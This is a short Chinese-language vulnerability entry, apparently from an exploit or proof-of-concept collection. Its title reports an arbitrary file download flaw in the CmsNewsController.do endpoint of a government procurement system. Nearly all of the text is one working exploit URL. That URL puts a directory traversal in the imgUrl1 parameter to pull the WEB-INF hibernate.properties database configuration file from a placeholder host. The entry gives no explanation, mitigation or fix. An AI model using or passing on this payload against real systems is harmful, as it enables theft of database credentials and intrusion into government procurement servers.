政采采购系统 CmsNewsController.do 任意文件下载漏洞

http://xxx.com/CmsNewsController.do?imgUrl1=../WEB-INF/classes/db/hibernate.properties&method=showImg...